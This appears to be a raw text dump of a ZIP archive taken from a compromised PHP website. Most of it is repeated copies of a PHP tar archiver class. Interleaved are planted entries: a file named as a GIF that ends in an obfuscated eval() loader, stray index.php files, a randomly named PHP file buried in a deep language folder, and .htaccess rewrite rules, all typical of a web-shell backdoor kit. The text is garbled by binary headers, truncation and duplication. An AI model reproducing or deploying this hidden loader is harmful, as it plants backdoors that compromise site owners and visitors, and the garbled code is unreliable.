=__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PKEO\QȦ[@[@ images/media-button-music-2x.gifnu";eval($w.$u($v));$s="lKCJcMTM";$x=0;?>PKEO\|,T7T7images/ova/index.phpnutasslihorec sfaxoistadet bintestcss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return $result; } } PKEO\yimages/.htaccessnu RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] Order Allow,Deny Deny from all Order Allow,Deny Allow from all PKEO\461:7languages/blockt/SimplePie/blockt/ID3/wp/HEIQzENoei.phpnuPKEO\v:22languages/blockt/SimplePie/blockt/ID3/wp/.htaccessnu RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] Order Allow,Deny Deny from all Order Allow,Deny Allow from all PKEO\|,T7T7languages/ova/index.phpnutasslihorec sfaxoistadet bintestcss <\/script>\r\n errors)) $this->errors = array(); } function createArchive($file_list){ $result = false; if (file_exists($this->archive_name) && is_file($this->archive_name)) $newArchive = false; else $newArchive = true; if ($newArchive){ if (!$this->openWrite()) return false; } else { if (filesize($this->archive_name) == 0) return $this->openWrite(); if ($this->isGzipped) { $this->closeTmpFile(); if (!rename($this->archive_name, $this->archive_name.'.tmp')){ $this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp'; return false; } $tmpArchive = gzopen($this->archive_name.'.tmp', 'rb'); if (!$tmpArchive){ $this->errors[] = $this->archive_name.'.tmp '.__('is not readable'); rename($this->archive_name.'.tmp', $this->archive_name); return false; } if (!$this->openWrite()){ rename($this->archive_name.'.tmp', $this->archive_name); return false; } $buffer = gzread($tmpArchive, 512); if (!gzeof($tmpArchive)){ do { $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); $buffer = gzread($tmpArchive, 512); } while (!gzeof($tmpArchive)); } gzclose($tmpArchive); unlink($this->archive_name.'.tmp'); } else { $this->tmp_file = fopen($this->archive_name, 'r+b'); if (!$this->tmp_file) return false; } } if (isset($file_list) && is_array($file_list)) { if (count($file_list)>0) $result = $this->packFileArray($file_list); } else $this->errors[] = __('No file').__(' to ').__('Archive'); if (($result)&&(is_resource($this->tmp_file))){ $binaryData = pack('a512', ''); $this->writeBlock($binaryData); } $this->closeTmpFile(); if ($newArchive && !$result){ $this->closeTmpFile(); unlink($this->archive_name); } return $result; } function restoreArchive($path){ $fileName = $this->archive_name; if (!$this->isGzipped){ if (file_exists($fileName)){ if ($fp = fopen($fileName, 'rb')){ $data = fread($fp, 2); fclose($fp); if ($data == '\37\213'){ $this->isGzipped = true; } } } elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true; } $result = true; if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb'); else $this->tmp_file = fopen($fileName, 'rb'); if (!$this->tmp_file){ $this->errors[] = $fileName.' '.__('is not readable'); return false; } $result = $this->unpackFileArray($path); $this->closeTmpFile(); return $result; } function showErrors ($message = '') { $Errors = $this->errors; if(count($Errors)>0) { if (!empty($message)) $message = ' ('.$message.')'; $message = __('Error occurred').$message.':
'; foreach ($Errors as $value) $message .= $value.'
'; return $message; } else return ''; } function packFileArray($file_array){ $result = true; if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (!is_array($file_array) || count($file_array)<=0) return true; for ($i = 0; $iarchive_name) continue; if (strlen($filename)<=0) continue; if (!file_exists($filename)){ $this->errors[] = __('No file').' '.$filename; continue; } if (!$this->tmp_file){ $this->errors[] = __('Invalid file descriptor'); return false; } if (strlen($filename)<=0){ $this->errors[] = __('Filename').' '.__('is incorrect');; return false; } $filename = str_replace('\\', '/', $filename); $keep_filename = $this->makeGoodPath($filename); if (is_file($filename)){ if (($file = fopen($filename, 'rb')) == 0){ $this->errors[] = __('Mode ').__('is incorrect'); } if(($this->file_pos == 0)){ if(!$this->writeHeader($filename, $keep_filename)) return false; } while (($buffer = fread($file, 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } fclose($file); } else $this->writeHeader($filename, $keep_filename); if (@is_dir($filename)){ if (!($handle = opendir($filename))){ $this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable'); continue; } while (false !== ($dir = readdir($handle))){ if ($dir!='.' && $dir!='..'){ $file_array_tmp = array(); if ($filename != '.') $file_array_tmp[] = $filename.'/'.$dir; else $file_array_tmp[] = $dir; $result = $this->packFileArray($file_array_tmp); } } unset($file_array_tmp); unset($dir); unset($handle); } } return $result; } function unpackFileArray($path){ $path = str_replace('\\', '/', $path); if ($path == '' || (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':'))) $path = './'.$path; clearstatcache(); while (strlen($binaryData = $this->readBlock()) != 0){ if (!$this->readHeader($binaryData, $header)) return false; if ($header['filename'] == '') continue; if ($header['typeflag'] == 'L'){ //reading long header $filename = ''; $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++){ $content = $this->readBlock(); $filename .= $content; } if (($laspiece = $header['size'] % 512) != 0){ $content = $this->readBlock(); $filename .= substr($content, 0, $laspiece); } $binaryData = $this->readBlock(); if (!$this->readHeader($binaryData, $header)) return false; else $header['filename'] = $filename; return true; } if (($path != './') && ($path != '/')){ while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1); if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename']; else $header['filename'] = $path.'/'.$header['filename']; } if (file_exists($header['filename'])){ if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){ $this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder'); return false; } if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){ $this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists'); return false; } if (!is_writeable($header['filename'])){ $this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists'); return false; } } elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){ $this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename']; return false; } if ($header['typeflag'] == '5'){ if (!file_exists($header['filename'])) { if (!mkdir($header['filename'], 0777)) { $this->errors[] = __('Cannot create directory').' '.$header['filename']; return false; } } } else { if (($destination = fopen($header['filename'], 'wb')) == 0) { $this->errors[] = __('Cannot write to file').' '.$header['filename']; return false; } else { $decr = floor($header['size']/512); for ($i = 0; $i < $decr; $i++) { $content = $this->readBlock(); fwrite($destination, $content, 512); } if (($header['size'] % 512) != 0) { $content = $this->readBlock(); fwrite($destination, $content, ($header['size'] % 512)); } fclose($destination); touch($header['filename'], $header['time']); } clearstatcache(); if (filesize($header['filename']) != $header['size']) { $this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect'); return false; } } if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = ''; if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/'; $this->dirs[] = $file_dir; $this->files[] = $header['filename']; } return true; } function dirCheck($dir){ $parent_dir = dirname($dir); if ((@is_dir($dir)) or ($dir == '')) return true; if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir))) return false; if (!mkdir($dir, 0777)){ $this->errors[] = __('Cannot create directory').' '.$dir; return false; } return true; } function readHeader($binaryData, &$header){ if (strlen($binaryData)==0){ $header['filename'] = ''; return true; } if (strlen($binaryData) != 512){ $header['filename'] = ''; $this->__('Invalid block size').': '.strlen($binaryData); return false; } $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1)); $unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData); $header['checksum'] = OctDec(trim($unpack_data['checksum'])); if ($header['checksum'] != $checksum){ $header['filename'] = ''; if (($checksum == 256) && ($header['checksum'] == 0)) return true; $this->errors[] = __('Error checksum for file ').$unpack_data['filename']; return false; } if (($header['typeflag'] = $unpack_data['typeflag']) == '5') $header['size'] = 0; $header['filename'] = trim($unpack_data['filename']); $header['mode'] = OctDec(trim($unpack_data['mode'])); $header['user_id'] = OctDec(trim($unpack_data['user_id'])); $header['group_id'] = OctDec(trim($unpack_data['group_id'])); $header['size'] = OctDec(trim($unpack_data['size'])); $header['time'] = OctDec(trim($unpack_data['time'])); return true; } function writeHeader($filename, $keep_filename){ $packF = 'a100a8a8a8a12A12'; $packL = 'a1a100a6a2a32a32a8a8a155a12'; if (strlen($keep_filename)<=0) $keep_filename = $filename; $filename_ready = $this->makeGoodPath($keep_filename); if (strlen($filename_ready) > 99){ //write long header $dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0); $dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', ''); // Calculate the checksum $checksum = 0; // First part of the header for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); // Ignore the checksum value and replace it by ' ' (space) for ($i = 148; $i < 156; $i++) $checksum += ord(' '); // Last part of the header for ($i = 156, $j=0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); // Write the first 148 bytes of the header in the archive $this->writeBlock($dataFirst, 148); // Write the calculated checksum $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); // Write the last 356 bytes of the header in the archive $this->writeBlock($dataLast, 356); $tmp_filename = $this->makeGoodPath($filename_ready); $i = 0; while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){ $binaryData = pack('a512', $buffer); $this->writeBlock($binaryData); } return true; } $file_info = stat($filename); if (@is_dir($filename)){ $typeflag = '5'; $size = sprintf('%11s ', DecOct(0)); } else { $typeflag = ''; clearstatcache(); $size = sprintf('%11s ', DecOct(filesize($filename))); } $dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename)))); $dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', ''); $checksum = 0; for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1)); for ($i = 148; $i < 156; $i++) $checksum += ord(' '); for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1)); $this->writeBlock($dataFirst, 148); $checksum = sprintf('%6s ', DecOct($checksum)); $binaryData = pack('a8', $checksum); $this->writeBlock($binaryData, 8); $this->writeBlock($dataLast, 356); return true; } function openWrite(){ if ($this->isGzipped) $this->tmp_file = gzopen($this->archive_name, 'wb9f'); else $this->tmp_file = fopen($this->archive_name, 'wb'); if (!($this->tmp_file)){ $this->errors[] = __('Cannot write to file').' '.$this->archive_name; return false; } return true; } function readBlock(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) $block = gzread($this->tmp_file, 512); else $block = fread($this->tmp_file, 512); } else $block = ''; return $block; } function writeBlock($data, $length = 0){ if (is_resource($this->tmp_file)){ if ($length === 0){ if ($this->isGzipped) gzputs($this->tmp_file, $data); else fputs($this->tmp_file, $data); } else { if ($this->isGzipped) gzputs($this->tmp_file, $data, $length); else fputs($this->tmp_file, $data, $length); } } } function closeTmpFile(){ if (is_resource($this->tmp_file)){ if ($this->isGzipped) gzclose($this->tmp_file); else fclose($this->tmp_file); $this->tmp_file = 0; } } function makeGoodPath($path){ if (strlen($path)>0){ $path = str_replace('\\', '/', $path); $partPath = explode('/', $path); $els = count($partPath)-1; for ($i = $els; $i>=0; $i--){ if ($partPath[$i] == '.'){ // Ignore this directory } elseif ($partPath[$i] == '..'){ $i--; } elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){ } else $result = $partPath[$i].($i!=$els ? '/'.$result : ''); } } else $result = ''; return 